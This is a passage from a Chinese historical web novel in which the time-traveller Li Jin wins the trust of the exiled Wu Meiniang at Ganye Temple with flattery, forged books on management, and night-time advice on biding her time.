面对她的惊恐和质问,李瑾反而更加平静。他没有回答她的问题,而是继续沿着自己的思路说下去,语气放缓,带着一种奇异的安抚力量:“师太不必惊慌。在下并非师太所想之人。在下只是一个……能看到师太价值的人。”
他目光真诚地望向她因惊惧而睁大的美眸:“价值,不在于曾经的才人身份,亦不在于如今的比丘尼身份。而在于师太自身——在于师太批注经书时展现的卓见,在于师太身处逆境却未完全磨灭的……不甘之心。”
他再次微微躬身,态度恳切:“适才言语冒犯,实非在下所愿。只是见师太明珠蒙尘,困于浅滩,心有不忍,更觉……可惜。故出此言,意在点破迷障,而非恐吓要挟。”
武媚娘急促地呼吸着,胸脯起伏不定,她死死地盯着李瑾,试图从他脸上找出任何一丝虚伪或阴谋的痕迹。但看到的,只有一种难以言喻的平静和……一种她从未在任何人眼中看到过的、仿佛知晓过去未来的深邃。
恐惧稍减,但警惕丝毫未松。她的大脑飞速运转,分析着眼前这个神秘年轻人的每一句话,每一个表情。他不是宫中派来的,否则不会说“明珠蒙尘”、“心有不忍”。他也不是寻常登徒子。他到底想干什么?他所图的,是什么?
“可惜?” 武媚娘终于稍稍稳住了心神,声音依旧带着一丝沙哑,但已恢复了部分的冷静,她冷笑一声,带着讥诮和自嘲,“一个被遗弃于此、了此残生的废人,有何可惜?施主此言,不觉得可笑吗?”
她在反击,也在继续试探李瑾的底牌。
李瑾微微一笑,那笑容中带着超越年龄的洞察力:“龙潜于渊,非无腾天之力,待风云耳。凤栖于梧,非无凌霄之志,候时机矣。” 他再次用比喻,肯定了她的潜力,并暗示时机的重要性。
然后,他不再迂回,直接抛出了最大的诱惑,也是他此行的终极目的:“在下不才,或可为师太……带来一丝‘风云’,指出一线‘时机’。”
武媚娘瞳孔再次收缩。诱惑太大了!大到让她无法立刻相信,却又无法干脆地拒绝。这突如其来的希望,比刚才的惊骇更让她心潮澎湃!数月乃至数年的绝望囚禁,早已将她的心磨得近乎死寂,此刻却被这陌生男子几句话,搅动得翻江倒海!
但她毕竟是武媚娘,经历了宫廷倾轧和寺院冷暖,深知天下没有白得的好处。她强迫自己冷静下来,声音依旧冰冷:“贫尼与施主素昧平生,施主为何要助我?又凭什么认为,你能带来所谓的‘风云’和‘时机’?” 这是最核心的问题,关乎动机和能力。
李瑾知道,最关键的时刻到了。他不能暴露自己最大的秘密,但必须给出一个足够有分量、且能让对方信服的理由。
他挺直身躯,目光坦然地看着她,一字一句地说道:“因为,在下看到的,不是一個需要怜悯的弱女子,而是一位……非为池中物的潜龙。助你,非为施恩,而是……投资于未来。”
“至于凭仗……” 李瑾嘴角勾起一抹神秘的弧度,“或许就凭在下,能一眼看穿师太心中所藏的那轮……‘日月’吧。”
话音落下,经房内再次陷入一片寂静。只有窗外的雨声,敲打不休。
武媚娘怔怔地看着眼前这个清瘦的年轻人,心中的惊涛骇浪,久久无法平息。投资于未来?非为池中物?他竟将她比作潜龙!
这个男人,危险,神秘,却仿佛手握着她极度渴望的、能打破这死局的一线生机。是陷阱?还是……真的是上天派来的一缕变数?
她该如何抉择?
第14章 非为池中物
“投资于未来?”
“非为池中物?”
武媚娘重复着这几个字眼,声音低沉,带着浓重的讥诮与自嘲,仿佛听到了世间最荒谬的笑话。然而,那颤抖的尾音,和眼底深处一闪而过的、几乎被绝望淹没的微光,出卖了她内心真正的震荡。她死死盯着李瑾,目光锐利如刀,试图剖开他平静外表下的每一丝伪装。
“未来?”她冷笑一声,向前逼近一步,即便穿着宽大缁衣,那股久居人上、哪怕跌落尘埃也未曾完全消散的压迫感,依旧扑面而来,“在这感业寺的高墙之内,日夜与青灯古佛为伴,抄经、洒扫、受尽白眼冷遇,了此残生便是我的‘未来’!池中物?我如今便是这池中一尾将死的鱼,连挣扎的力气都快耗尽,何谈腾跃?”
她的情绪激动,却又强行压抑着,使得话语如同从齿缝中迸出,充满了不甘与悲愤。这番话,与其说是反驳李瑾,不如说是她对自己处境的血泪控诉,是压抑太久的一次爆发。她在试探,也在宣泄。
李瑾没有被她此刻的凌厉吓退,反而迎着她的目光,眼神清澈而坚定,没有丝毫闪躲,也没有寻常男子面对她这般绝色女子激动时的怜悯或讨好。他的平静,本身就有一种奇异的说服力。
“师太此言差矣。”李瑾缓缓摇头,语气沉稳,仿佛在陈述一个再简单不过的事实,“鱼困浅滩,非鱼之过,乃水之失。龙游浅水遭虾戏,虎落平阳被犬欺。此非龙虎之罪,乃时地不利。然龙终究是龙,虎终究是虎,鳞爪虽暂掩,风云际会时,自有腾跃九天、啸傲山林之日。”
他顿了顿,目光扫过她因激动而微微泛红的脸颊,和那双即便盛满愤怒与绝望,也依旧璀璨如星、暗藏锋芒的眼眸,诚恳道:“在下所见,非师太此刻之缁衣,非师太目下之处境。在下所见,是师太批注经书时,字里行间隐含的经纬之才;是师太身处逆境,眸中未灭的不屈之火;更是……”
他刻意停顿,目光如炬,直视她的双眼,一字一句,清晰无比:“更是师太昔年侍奉御前,以才情敏捷、处事明断,得太宗皇帝些许青眼之旧事。如此心智,如此才干,岂是寻常闺阁女子可比?又岂是这区区感业寺青灯,所能磨灭殆尽?”
这番话,如重锤击心!武媚娘娇躯剧震,连退两步,背脊再次抵在冰凉的书架上,脸色白了又红,红了又白。他不仅看穿了她隐藏的野心,竟连她昔日宫中旧事也知晓?他到底是谁?究竟查探了她多少?是旧敌?是朝中某方势力?还是……她不敢想下去。
“你……你如何得知?”她的声音干涩,带着难以置信的惊骇。宫中旧事,尤其涉及先帝,乃是最敏感的禁忌,等闲人绝不敢提及,更不可能知晓细节。
“师太不必疑惧在下身份。”李瑾看出她的惊疑,知道必须给出一个合理的解释,至少是能暂时取信于她的解释,“在下李瑾,乃皇室远支,一介白衣,与朝中诸公无涉,与宫内纷争更无瓜葛。知晓些许旧事,不过是机缘巧合,曾听族中老人谈及先帝晚年,偶有感慨,言及后宫才人之中,武氏女子聪慧殊异,惜乎……时运不济。在下当时留心,今日见师太批注,观师太气度,两相印证,方有此猜。冒昧之处,还请师太海涵。”
他将原因推给“族中老人”和“偶然听闻”,既解释了信息来源,又淡化了自己的主动探查,显得合情合理。皇室远支的身份,也解释了他为何能接触到一些宫廷轶闻,同时表明自身地位低微,与权力核心无关,降低她的戒心。
武媚娘紧紧盯着他,似乎在判断这番话的真伪。李瑾目光坦然,任由她审视。片刻,她眼中惊疑稍退,但警惕未消,冷声道:“便是知晓旧事,又如何?昔年些许虚名,早随先帝龙驭上宾,烟消云散。如今的我,不过是感业寺中一寻常比丘尼,法号明空。前尘往事,早已忘却。施主提及,徒增烦恼罢了。” 她仍在退缩,在掩饰,这是多年逆境养成的本能。
李瑾却摇了摇头,语气斩钉截铁:“忘却?若真能忘却,师太便不会在经卷旁批中,暗藏对时运的诘问;若真能甘心,师太眼中便不会有那般深重的不甘与……孤愤!” 他再次点破她的内心,不留丝毫余地。
“在下今日前来,非为揭人伤疤,更非空口施舍怜悯。” 李瑾话锋一转,语气变得无比郑重,“怜悯,是对弱者的俯视。而在下,是平视,甚至……” 他稍稍加重语气,“是仰视师太之才。”
“仰视?”武媚娘嗤笑,眼中却闪过一丝极细微的波动。
“正是。”李瑾肯定道,目光灼灼,“在下仰视的,是师太于绝境中仍未磨灭的坚韧心志;是师太阅览经史、批注文字时展现的敏锐洞察与格局;更是师太……身为女子,却胸怀不输男儿的丘壑!这等心性才华,困于兹,是师太之不幸,又何尝不是……天下之憾?”
“天下之憾?”武媚娘彻底愣住了。这四个字太重,重得她几乎承受不起。从未有人,在她人生最低谷、最狼狈的时刻,用这样的词语来形容她。不是同情她的遭遇,不是惋惜她的容貌,而是……肯定她的才能,甚至将她的境遇拔高到“天下之憾”的程度!这种评价,这种视角,完全超出了她的认知范畴。就像在无尽的黑暗中,突然有人递过来一支火把,照亮的不止是前路,还有她几乎要被自我怀疑吞噬的价值。
李瑾趁热打铁,声音不高,却字字千钧:“在下助师太,非因师太是弱质女流,需人拯救。而是因为,在下坚信,师太之才,当有更广阔的天地施展,而非湮没于此。在下所谋,亦非一时之利,而是……长远之功。师太视己为池中物,在下却愿赌师太乃潜渊之龙,只待风云。今日雪中送炭,他日若得云霓,或可互为奥援,共谋前程。此非施恩,实为……投资于璞玉,携手于微时。”
投资于璞玉,携手于微时!这八个字,彻底击中了武媚娘内心最深处。她所有的挣扎,不甘,野望,都被这直白而精准的言辞剖开,晾晒在阳光之下。没有虚伪的同情,没有居高临下的拯救,只有赤裸裸的价值认可和利益捆绑的提议。这反而,奇异地让她感到一丝……安心。
因为利益同盟,远比虚无的情感承诺,在这残酷的现实中,更为可靠。尤其是,对方看中的,不是她的美貌,不是她曾经的才人身份,而是她自身的能力和潜力!这在她饱经世态炎凉、看尽人心险恶之后,显得尤为珍贵,甚至……奢侈。
经房内再次陷入寂静。窗外的雨不知何时已渐渐停歇,只剩屋檐滴水,滴滴答答,敲打着石阶,也仿佛敲在两人的心头。
武媚娘缓缓站直了身体,不再是刚才那副激动抗拒的模样。她深深吸了一口气,又缓缓吐出,仿佛要将胸中积郁多年的闷气一并排出。再次看向李瑾时,眼中的凌厉、惊惧、讥诮渐渐褪去,取而代之的是一种深沉的审视,以及一丝极力压抑的、重新燃起的探究之火。
“李……公子。”她终于改变了称呼,虽然依旧疏离,但已不再是“施主”那般全然陌生,“你之言,匪夷所思,骇人听闻。妾身……我姑且信你三分。然,空口无凭。” 她顿了顿,目光如电,“你既言投资,欲携手,那么,你能给我什么?又想要什么?风云何在?时机何来?”
她终于从情绪的冲击中冷静下来,开始以谈判者的姿态,追问最实际的问题。这是信任建立的第一步,也是最关键的一步。
李瑾知道,最难的一关,算是初步度过了。他心中暗暗松了口气,面上却丝毫不显,反而露出了一丝成竹在胸的微笑。
“师太所问,正在情理之中。” 李瑾从容道,“风云自当由时势而生,时机需耐心等待并创造。在下眼下能给的,并非直接助师太脱离此地的承诺——那非在下力所能及,贸然行事,只会害了师太。”
他话锋一转:“但在下可助师太三件事。其一,安定心神,韬光养晦,于这寺中,亦能积蓄力量,阅览群书,静观时变。其二,……” 他目光微凝,“若有朝一日,时机乍现,风云微动,在下或可略尽绵薄,为师太……递上一把梯子,或指出一条未必是绝路的小径。”
“至于在下所求……”李瑾直视武媚娘,目光坦诚得近乎残酷,“很简单。他日若师太真能乘风而起,勿忘今日雪中炭火之情。在下所求,不过是一个……站在师太身侧,而非对立面的位置,一个能让在下施展些许抱负,而非碌碌一生的机会。我们,是盟友。”
同盟,而非主仆。互助,而非施舍。共谋前程,各取所需。
武媚娘沉默良久。檐水滴落的声音,在寂静的经房中显得格外清晰。她看着眼前这个清瘦却目光坚定的年轻人,他说的每一句话都大胆至极,却又奇异地符合她内心最深处的渴望与逻辑。
最终,她缓缓开口,声音恢复了平静,却带着一种前所未有的凝重与决断:“李公子之言,我记下了。然,世事无常,人心难测。今日之言,出你之口,入我之耳。他日若有变故,或我终老于此,今日种种,便如这檐下水滴,散去无痕。若真有风云际会之日……” 她没有说下去,但眼中闪烁的光芒,已说明一切。
李瑾知道,这已是他目前能取得的最好结果。信任的建立非一日之功,尤其是与她这般心智的女子。今日能敲开她的心防,播下种子,已属不易。
他微微一笑,拱手道:“理应如此。今日叨扰已久,在下不便久留。师太保重。或许不久,在下会再来请教经义。” 他特意强调了“请教经义”,这是为下次可能的接触留下合理的借口。
武媚娘微微颔首,不再多言,只是侧身让开了通往门口的路。
李瑾再次施礼,转身,步履平稳地走向经房门口。就在他即将推门而出的刹那,身后传来武媚娘清冷的声音,很轻,却清晰入耳:
“我法号,明空。”
李瑾脚步微顿,没有回头,只是轻轻点了点头,随即推门,踏入了雨后清新却微凉的空气中。
经房内,武媚娘独立良久,目光落在书案上那卷《维摩诘经》旁,李瑾留下的、散发着清雅香气的墨锭上。她伸出手,指尖轻轻拂过冰凉的墨锭,眼中神色复杂变幻,最终,化作一片深不见底的幽潭。
非为池中物……么?
她抬起手,看着自己因常年劳作而略显粗糙的指尖,缓缓握紧。一丝微弱却无比顽强的火苗,在那深潭般的眸底,悄然燃起。
第15章 以奇书为饵
自经房一别,又是十余日过去。长安的暮春,细雨绵绵,带着些许愁绪。崇仁坊的小院里,李瑾并未闲着。他如同经验最老到的猎人,在布下诱饵后,耐心等待着猎物上钩,同时,也在精心准备着下一份更有分量的“礼物”。他清楚,上一次的“投资”宣言,如同投入死水中的石子,虽能惊起波澜,但若想真正撼动那潭深水,让“明空”彻底改变观望态度,主动踏出试探的一步,还需更具冲击力、更有实质价值的东西。
这份礼物,必须能进一步展现他的不凡价值,能给予她切实的希望或启发,能成为连接他们之间、超越言语信任的实物纽带。他思虑再三,最终确定了方向——书。
但非是寻常经史子集。他要给的,是能撬动她固有思维的、带有未来印记的“奇书”。内容必须谨慎筛选,既要能带来震撼,又不能逾越这个时代的理解范畴,更不能暴露自己最大的秘密。
最终,他选择了两个方向:一是“管理学”的初步理念,二是经过精心改编、能引发深思的“故事”。
他闭门谢客数日,连王掌柜的几次试探性拜访都以身体不适婉拒。他让李福购置了最上等的宣纸,亲自调制了浓淡合宜的墨,又精心挑选了数支笔锋得宜的兔毫笔。然后,他开始了“创作”。
说是创作,实则是从浩如烟海的现代知识中提取、转化、再编码。他首先撰写的,是一篇名为《治事杂论》的短篇。其中,他巧妙借鉴了后世泰勒制、流水线思想的雏形,结合《周礼》、《管子》等典籍的记载,论述了“分工明确、各司其职、标准流程、赏罚有度”对于提高工坊、乃至管理一地的效率的重要性。他刻意避免使用过于现代的名词,而是用“各安其分,专其一事”、“工序井然,如臂使指”、“法度如一,勤惰有别”等词语来表述。文中,他还引入了简单的“量化考核”概念,称之为“计功核效”。
接着,他以“海外奇谈”为幌子,杜撰了一个名为《大食商贾行记》的故事。故事背景设于前朝,主角是一位远赴西域经营的大食(阿拉伯)商人。故事核心并非经商奇遇,而是借商队穿越沙漠、经营货栈、应对盗匪、管理仆从等经历,隐晦地阐述了团队协作、信息收集、风险分散、成本核算、激励手段(非单纯金钱,包括尊重、荣誉等)等现代管理学和心理学的基本原理。故事写得跌宕起伏,充满异域风情,但内核却极具启发性。尤其是其中一段,描述商队陷入绝境,首领如何通过公平分配最后的水粮、确立共同目标、激发众人求生欲而最终脱险的情节,暗合了领导力与危机处理的要义。
最后,他摘录并重新演绎了《战国策》中“冯谖客孟尝君”的故事,但重点放在了冯谖如何通过“市义”收买人心、为孟尝君经营退路的长远眼光上,并加以点评,引申出“民心为基”、“长远布局”的重要性。
三份书稿,他用了三种不同的笔迹和口吻书写,使之看起来像是偶然得来或苦心搜集的“古籍”残篇与“海外”杂记。他故意在某些地方留下些许“纰漏”或“语焉不详”,显得更为真实。书成之后,他未做装订,而是细心卷好,用一根青色丝绦系住。
这日午后,雨歇云散,天空放晴。李瑾换上一身半旧的雨过天青色圆领袍,将书卷仔细放入一个防水的油布囊中,贴身藏好。他对李福只道是去西市书肆逛逛,便独自出了门。
他没有直接前往感业寺。过于频繁的出现同样惹人怀疑。他先是在西市几家书肆流连片刻,买了两本常见的经书做掩护,随后似漫无目的地信步向南,渐渐靠近了感业寺所在区域。他在寺外不远的一处茶寮坐下,要了一碗粗茶,慢慢啜饮,目光似不经意地扫过寺院的朱红山门和远处高耸的钟楼。
他在等待,也在观察。他需要一個恰当的时机,一個看似偶然的相遇。
约莫过了半个时辰,日头偏西。感业寺的侧门(非正门,似是运送杂物、食材的通道)吱呀一声开了,两名穿着灰色缁衣的比丘尼提着竹篮走了出来,看样子是奉命外出采摘野菜或购置些许日常用度。李瑾心中一动,但并未立刻上前。他耐心等着,直到那两名比丘尼的身影消失在坊街拐角,侧门即将关闭的瞬间,他才放下茶钱,快步走了过去。
“师太留步。”李瑾在门即将合拢前,轻声唤道。
负责关门的是個年纪稍长、面容严肃的比丘尼,闻声停住动作,蹙眉看向李瑾,眼中带着审视:“阿弥陀佛。施主何事?此乃寺院侧门,非请勿近。”
李瑾拱手,态度恭谨:“打扰师太清修。在下李瑾,月前曾来贵寺为亡亲供奉长明灯,蒙知客法师行方便。近日偶得几卷经书,自觉颇有深意,不敢专美,想起贵寺藏经颇丰,或可互为印证。又闻寺中法师精研佛法,故冒昧前来,想请法师代为呈送知客师父一观,若觉有益,或可充作藏经之补。不知可否行个方便?” 他言辞恳切,理由也说得过去(为寺中献经是功德),且提到了知客师和长明灯,增加了可信度。
年长比丘尼打量了他几眼,见他衣着朴素但整洁,举止有礼,不似奸邪之徒,且手中确实捧着经卷,脸色稍霁:“原是如此。施主可将经书交予贫尼,待师父闲暇时,自当转呈。”
“有劳师太。”李瑾将手中在书肆买的两本普通经书递上,随即又似想起什么,从怀中取出那个油布囊,小心解开,露出里面那三卷特意准备的书稿,“此外,在下游历市井时,偶得幾卷前人杂论与海外奇谈残篇,文辞虽陋,然其中所言治事、观人之理,或有可采之处。在下见识浅薄,难辨真伪高下,久闻贵寺有法师博览群书,智慧深远,可否一并请法师过目品评?若觉是荒谬之言,弃之即可;若有一二可取,或可聊资谈助。” 他刻意将“前人杂论”、“海外奇谈”、“残篇”、“难辨真伪”等词强调,显得自己只是偶然得来,心中无数,特来请教高人,姿态放得极低。
年长比丘尼看了看那三卷书稿,纸质尚可,但显然并非古物,内容更是闻所未闻,本欲拒绝,但见李瑾态度诚恳,又言是请法师“品评”,而非强行献纳,犹豫了一下。感业寺虽是皇家寺院,规矩森严,但并非完全与世隔绝,偶尔也有信徒进献些自认稀奇的物件或书籍,由知客师或住持决定去留。眼前这人看着不像无理取闹之辈……
“师太,可是有香客来访?”一个清冷平静的声音从门内传来。
李瑾心头一跳,抬眼望去。只见门内光影处,一個熟悉的灰色身影正提着一篮刚刚洗净的野菜站在那里,不是武媚娘(明空)又是谁?她似乎刚从寺后菜园回来,额角带着细微的汗珠,几缕发丝贴在颊边,目光清泠地望过来,落在李瑾脸上时,微微一顿,随即恢复古井无波。
“明空师妹。”年长比丘尼回头,语气稍缓,“这位李施主,是来献经的,还有些杂书想请师父品鉴。”
武媚娘目光扫过李瑾手中的油布囊和书稿,又看了看他平静无波的脸,心中瞬间闪过无数念头。他果然又来了!而且如此“巧合”地出现在侧门!献经是假,借机传递消息才是真!那书稿……
她面上不露分毫,对年长比丘尼合十道:“慧明师姐,既如此,便由我代为收下,稍后送去知客师处吧。师姐还要去监管晚课准备,不宜耽搁。” 她主动揽过这事,语气自然。
慧明师太本就嫌这事麻烦,见明空主动接手,自是乐意:“也好,那便有劳师妹了。” 说罢,对李瑾点了点头,便转身向寺内走去。
侧门处,便只剩下李瑾与武媚娘二人,隔着门槛,相对而立。空气中弥漫着雨后泥土的清新和野菜的淡淡青气。
“李公子,别来无恙。”武媚娘率先开口,声音平淡,听不出情绪。她接过李瑾递上的两本普通经书,目光却落在他另一只手中的油布囊上。
“劳明空法师挂念,在下尚好。”李瑾微微躬身,将油布囊也递了过去,声音压低,语速平缓却清晰,“这几卷杂书,是在下近日偶然所得,观之颇觉……奇诡深邃,迥异常论。其中或有妄言,然亦不乏闪光之见。在下学识浅薄,难窥堂奥,想起法师博览强记,或可一观。若觉其中胡言乱语,弃之敝屣即可;若觉有一二可取……” 他抬起眼,目光与武媚娘瞬间交汇,意味深长地道,“或可于青灯长夜,聊解寂寥,甚或……触类旁通,另有所得。”
“触类旁通”四字,他稍稍加重了语气。
武媚娘睫毛微颤,接过了油布囊。指尖相触的瞬间,两人都感到对方手中传来的微凉。她迅速收回手,将经书和油布囊放入菜篮,用野菜略微遮盖,面色依旧沉静:“施主有心了。贫尼会转交知客师父。”
“有劳法师。”李瑾再次行礼,然后似随意般说道,“近日读史,见古之贤者,处困厄而不坠其志,每有奇书异闻助其开阔心胸,遂能守得云开。可见,际遇之变,有时或始于卷册之间。告辞。”
说罢,他不等武媚娘回应,转身便走,步伐不疾不徐,很快消失在巷口。
武媚娘站在原地,望着他离去的方向,良久未动。手中菜篮,似乎比来时重了许多。那油布囊中的书稿,仿佛带着灼人的温度,透过篮筐传递到她手心。
他最后一句话,分明是意有所指!“际遇之变,始于卷册之间”?还有那“触类旁通”……这书稿,绝非凡品!恐怕,这才是他今日真正的目的,所谓的“献经”,不过是个幌子。
她低头,看了眼篮中隐约露出的书卷一角,心跳不由自主地加快了几分。上一次,他言语如刀,剖开她内心。这一次,他以“奇书”为饵,又会带来怎样的冲击?
提着菜篮,她转身步入幽深的寺内。步履看似依旧平稳,心中却已波澜暗涌。她知道,今晚的青灯下,她要读的,恐怕不再是那些熟悉的佛经了。
回到简陋的禅房,同住的另一名老尼已沉沉睡去。武媚娘点亮如豆的油灯,掩好房门,才小心翼翼地从菜篮最下层取出那油布囊。解开丝绦,展开书稿。
首先映入眼帘的,是那篇《治事杂论》。起初,她只是随意浏览,但很快,目光就被牢牢吸引。“分工明确,如身使臂,如臂使指”、“标准既定,优劣易辨,赏罚有据”……这些观点,结合她昔日协助太宗处理政务时见过的效率低下、人浮于事的弊端,简直如醍醐灌顶!原来管理之要,可以如此清晰条理!这绝非寻常书生空谈,而是极具操作性的真知灼见!作者是何人?竟有如此见识?
接着是《大食商贾行记》。故事引人入胜,异域风情扑面而来,但更让她心惊的是故事背后蕴含的深意。商队首领应对危机的方式、管理庞大商队的智慧、收拢人心的手段……这哪里是简单的商贾故事,这分明是一部暗藏机锋的权谋与驭术的寓言!尤其是“市义”与“长远布局”之论,更是让她联想到自身处境与未来,心中凛然。
最后是那篇对“冯谖市义”的点评,将收买人心与长远政治投资结合起来,观点犀利,直指核心。
三篇书稿,角度各异,却都指向同一个核心——如何更高效地管理人、事、物,如何洞察人性、把握时机、布局长远。这完全超越了她以往所读的任何经史子集,为她打开了一扇全新的窗户。
武媚娘的手微微颤抖起来,不是恐惧,而是一种近乎战栗的兴奋。这书稿的作者,其眼界、其谋略、其对世情人心的洞察,简直深不可测!李瑾从何处得来?他自称“偶然所得”,绝不可信!这分明是他……或者他背后之人,精心准备,用来打动她的“饵”!
而这“饵”的味道,如此对她胃口,直击她内心最深处的渴望——对知识的渴望,对力量的渴望,对摆脱困境、掌控自身命运的渴望!
她缓缓收起书稿,吹熄了油灯。黑暗中,她倚墙而坐,眸中光芒闪动,再无半分睡意。
李瑾……你究竟是何方神圣?献上如此“奇书”,你想要的,真的只是一个“盟友”那么简单吗?
但无论如何,这“饵”,她吞下了。而且,甘之如饴。
窗外,月色朦胧。感业寺的夜晚,一如既往的寂静。但在这寂静之下,一颗被禁锢已久、本已渐趋冰冷的心,却因这几卷突如其来的“奇书”,而重新剧烈地跳动起来,充满了前所未有的探究欲与隐隐的期待。
第16章 夜半私授计
《治事杂论》与《大食商贾行记》在感业寺的禅房里,点燃了武媚娘心中沉寂已久的火焰。连续三个夜晚,她都在油灯下反复研读那几卷书稿,每读一遍都有新的领悟,那些关于分工、效率、人心、布局的论述,像一把把钥匙,打开了她思维中从未触碰过的锁。
但兴奋过后,是更深的疑惑。
李瑾到底是谁?这些书稿从何而来?他献上这些,究竟想要什么?
第四日黄昏,雨又淅淅沥沥地下了起来。武媚娘在斋堂用完简单的晚斋,回到禅房时,同屋的老尼已经睡下。她吹熄油灯,和衣躺在硬板床上,却毫无睡意。窗外雨声敲打着屋檐,像极了那日在经房初遇时的背景。
就在这时——
笃、笃笃。
极轻的敲击声从窗棂传来,三短一长,带着某种节奏。
武媚娘浑身一僵,呼吸瞬间屏住。这不是寺中尼众的敲门方式。她缓缓坐起,黑暗中目光锐利地投向那扇糊着麻纸的窗户。雨夜,谁会来敲她的窗?
“明空法师。”压低的声音从窗外传来,熟悉而清晰。
是李瑾!
武媚娘的心脏猛地一跳。他竟敢夜闯感业寺?这里是皇家寺院,夜间有武僧巡逻,一旦被发现,后果不堪设想!她下意识地想要喝问,但话到嘴边又咽了回去。李瑾不是莽撞之人,他既然敢来,必有缘由。
她轻手轻脚地下床,走到窗边,将窗户推开一条缝隙。冷雨夹杂着夜风灌入,她看到窗外廊下立着一个披着深色蓑衣的身影,帽檐压得很低,但那双在黑暗中依然清亮的眼睛,她认得。
“你疯了?”武媚娘压低声音,语气中带着难以置信的惊怒,“这是何处,你也敢——”
“法师莫急。”李瑾的声音透过雨幕传来,平静得可怕,“在下既来,自有把握。请法师移步经房,有要事相商。”顿了顿,补充道,“知客师慧明今晚当值,此刻应在藏经阁清点经卷,一炷香时间内不会到前院来。巡逻的武僧刚过,下一班要两刻钟后。”
他竟然连寺中的值守规律都摸清了!武媚娘心中骇然,但同时也生出一丝异样——这个人,做事缜密得可怕。
“给我理由。”她没有动,声音冰冷。
“关于书稿,法师若有疑问,今夜可当面问清。”李瑾道,“此外,在下有些话,关于法师日后该如何在这寺中自处、积蓄力量,需当面告知。白日人多眼杂,唯有此刻。”
积蓄力量。这四个字像针一样刺进武媚娘心里。她沉默了三个呼吸,最终咬了咬牙:“等我。”
轻轻合上窗户,武媚娘迅速穿好外袍,将头发仔细束在僧帽中,又听了听同屋老尼均匀的鼾声,这才悄无声息地推门而出,融入雨夜的走廊。
经房在后院东侧,离她们这些低级比丘尼的禅房有一段距离,但好在沿途有廊庑相连,不必淋雨。她走得很快,脚步轻得几乎听不见,这是她在宫中多年练就的本事。雨中寺院格外寂静,只有檐溜滴答声和远处隐约的更鼓。
经房的门虚掩着,透出一线微光。武媚娘推门而入,反手将门掩上。
李瑾已经等在里面。他脱去了蓑衣,穿着一身深青色紧身衣靠,显得干练利落。经房中央的书案上,点着一盏小油灯,灯芯压得很低,光线只照亮桌面方圆三尺,其余地方都沉浸在昏暗中。这显然是精心计算过的,既能让两人看清彼此,又不至于让光线透出窗外太远。
“你胆子太大了。”武媚娘走到书案另一侧,与李瑾隔着灯火相对,目光如刀,“夜闯皇家寺院,若是被巡夜的武僧或是宫中派来的暗哨发现,你我都死无葬身之地。”
“所以,我们的时间不多。”李瑾并不接她的质问,直入主题,“法师连日研读书稿,可有疑问?”
武媚娘盯着他,缓缓在蒲团上坐下:“疑问太多。第一,这些书稿,你从何得来?其中论述,闻所未闻,却鞭辟入里,绝非寻常文人所能著。”
“乃一位隐世高人所著,在下机缘巧合得其传承。”李瑾早已备好说辞,神色坦然,“高人已仙去,遗命在下择有缘人传之。在下观法师,便是有缘人。”
“第二,”武媚娘不为所动,继续追问,“你三番五次接近我,究竟所图为何?莫再说什么‘投资未来’的虚言,我要听真话。”
李瑾迎着她的目光,灯火在他眼中跳跃:“真话便是,在下确有所图。所图者,一为自保,二为前程。当今天下,看似太平,实则暗流汹涌。在下身如浮萍,无根无基,欲在这长安立足,需寻一株将来能参天的大树,早早倚靠。而法师你——”他顿了顿,一字一句道,“便是在下眼中,最有可能长成参天大树的那一株。”
这话说得赤裸而残酷,将利益交换摆上了明面。武媚娘却反而稍稍安心——比起虚无缥缈的“赏识”,赤裸裸的利益诉求更真实,也更可控。
“你就如此笃定,我这株‘树苗’不会中途枯死?”她语气讥诮。
“所以在下今日冒险前来,便是要助法师,在这逆境中,先活下来,再积蓄力量,等待破土而出之日。”李瑾身体前倾,压低声音,“感业寺是牢笼,但也是屏障。在这里,无人会过分关注一个先帝的遗妃,这正是你韬光养晦、积蓄力量的绝佳时机。”
武媚娘瞳孔微缩:“说下去。”
“第一,保身。”李瑾伸出第一根手指,“法师在寺中,需做到三点。其一,忍。对所有刁难、冷眼、苛待,皆需忍耐,示弱于人,让所有人都觉得你已认命,已无威胁。喜怒不形于色,恩怨不挂于口。”
“其二,察。寺中大小执事僧尼,各是什么性情、有何喜好、彼此关系如何、与宫中何人联络,需暗中观察,默记于心。特别是掌管米粮、衣物、惩戒的执事,以及能与外界传递消息的知客、采买等人,需格外留意。”
“其三,交。择一二看似边缘、实则关键之人,以诚相待,徐徐图之。不必阿谀奉承,但可适时施以小惠,或展现些许价值——比如,你识文断字,可帮人代写家书;你通晓医理,可为人诊治小疾。让人欠你人情,而非你欠人人情。”
武媚娘静静听着,心中已是波涛汹涌。这些看似简单的道理,经李瑾如此条分缕析地说出,竟有种拨云见日之感。她在宫中多年,勾心斗角见过不少,但如此系统、冷静地分析处境、制定策略,却是头一回见识。
“第二,蓄力。”李瑾伸出第二根手指,“身陷囹圄,不可自弃。需从三处着手。其一,强身。寺中清苦,更需注意饮食起居,力所能及锻炼体魄。身体是根本,万不可垮。”
“其二,广识。感业寺藏经阁中,除佛经外,未必没有史书、医典、杂学。借整理经卷之机,广泛涉猎。不止读,还要思,要笔记。将读书心得、时局分析、人物评判,密记于纸,藏于妥处。他日若得机会,这些便是你的资本。”
“其三,”李瑾目光炯炯,“建立自己的消息渠道。寺中并非铁板一块,总有缝隙。与负责采买的婆子、洒扫的杂役、乃至守门的武僧,建立若有若无的联系。不需他们为你冒险,只需在闲聊中,留意长安城中的流言、宫中的动向、朝堂的风声。这些零碎信息,拼凑起来,便是外面的世界。”
武媚娘的手指无意识地在膝上收紧。李瑾说的每一点,都切中要害。她之前不是没想过,但都是零碎的念头,从未如此系统、清晰地呈现在眼前。这个人,仿佛能看透她所处的困境,并为她量身打造了一套生存和发展的策略。
“第三,待时。”李瑾伸出第三根手指,声音压得更低,“等待,是最难的。但时机未到,妄动便是取死。你需要做的,是让自己在时机到来时,处于最佳的状态——身体康健,头脑清醒,信息灵通,甚至……在寺中已有初步的人脉和声望。如此,当时机叩门,你才能第一时间抓住门环,而不是连站起身的力气都没有。”
他停下,看着武媚娘:“这三条,法师可能做到?”
武媚娘没有立刻回答。她垂眸看着跳跃的灯焰,良久,才缓缓抬起眼:“你所说的‘时机’,究竟指什么?何时会来?我又如何知道时机已到?”
这是最核心的问题。李瑾心中暗赞,她果然抓住了关键。但他不能直接说“高宗李治会来感业寺行香,那便是你的机会”,这太像未卜先知,会引发不可控的猜疑。
“时机,往往孕育在变化之中。”李瑾选择了一个模糊但合理的说法,“新君登基已有时日,朝局渐稳。先帝嫔妃散居各处,感业寺并非唯一所在。假以时日,宫中或有抚恤之举,或需人手抄经祈福,或 simply 是年节祭祀,需人协助。此其一。”
